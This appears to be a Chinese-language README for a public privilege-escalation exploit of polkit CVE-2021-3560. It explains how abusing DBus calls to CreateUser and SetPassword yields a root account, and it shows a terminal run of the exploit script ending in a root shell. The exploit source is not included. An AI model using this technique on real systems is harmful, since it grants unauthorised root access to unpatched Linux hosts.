利用polkit进行权限提升 - CVE-2021-3560
CVE-2021-3560是polkit上的一个认证绕过漏洞，允许非特权用户通过DBus调用特权方法。在本漏洞利用中，我们将调用accountsservice提供的两个特权方法（CreateUser和SetPassword），从而创建一个特权用户并设置密码，最后登录该创建的用户并提升至root权限。
Ahmad Almorabea @almorabea http://almorabea.net
test@ubuntu:~/Desktop$ python3 CVE-2021-3560.py
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/test/Desktop# whoami
root
root@ubuntu:/home/test/Desktop#
GUI认证
终端认证
Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)